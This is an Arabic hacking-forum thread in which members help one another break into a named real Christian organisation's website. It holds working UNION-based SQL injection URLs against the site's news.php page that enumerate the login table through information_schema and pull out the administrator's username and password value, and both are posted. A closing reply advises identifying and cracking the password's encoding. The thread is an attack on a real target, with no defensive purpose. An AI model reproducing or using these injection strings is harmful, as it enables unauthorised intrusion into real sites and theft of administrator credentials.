|
ليش اليوزر دايم ما يطلع؟ السلام عليكم هذا موقع مسيحي http://www.ach.org.il/news.php?id=-1...+apos_login2-- طلع معي 1a5s6d456zxc456xz4c56xz4c46c مادري هذا باسورد مشفر او هو هيك ، ليش ما طلع اليوزر ؟؟ وبنفس الوقت كيف اطلع اللوحة |
السلام عليكم اخي الكريم اخي انت عملت هيك يعني طلعت الباس ورقم العضوية concat)userid,0x3a,hashpass( اخي الكريم ركز فقط في الحقنة استعمل الامر group_ ليصبح الاستغلال كذا كود: http://www.ach.org.il/news.php?id=-1+union+select+1,2,group_concat(table_name,0x3a,column_name,0x3a,table_schema),4++from+information_schema.columns+where+table_name=0x61706f735f6c6f67696e32--apos_login2:userid:church_sitedb, apos_login2:username:church_sitedb, apos_login2:hashpass:church_sitedb, apos_login2:counter:church_sitedb انا اشوف الانسب الى يوزر الادمن هي username يعني راح يكون الاستغلال كود: http://www.ach.org.il/news.php?id=-1+union+select+1,2,concat(username,0x3a,hashpass),4++from+apos_login2--اسم الادمن طلع AMiN والباسورد طلع 1a5s6d456zxc456xz4c56xz4c46c ان شاء الله اكون فدتك ولو بالقليل |
|
اليوزر ما قصر معاك عبد الصمد بقى الباس فيه شويه متاعب شوف يا غلا الباس تاعك Hashes for password: "1a5s6d456zxc456xz4c56xz4c46c", length=28 هاد الباسورد تشفيره غريب يعني ما اتوقع تلقى حل لفك التشفير اذا ما عرفنا نوع التشفير وكيف مبدا السكربت الي يشفره الحلول امامك 1- ابحث عن نوع التشفير 2- دراسه التشفير 3- محاولت كسر التشفير 0------0 اتمنالك التوفيق |
| الساعة الآن 08:35 AM |
[ vBspiders.Com Network ]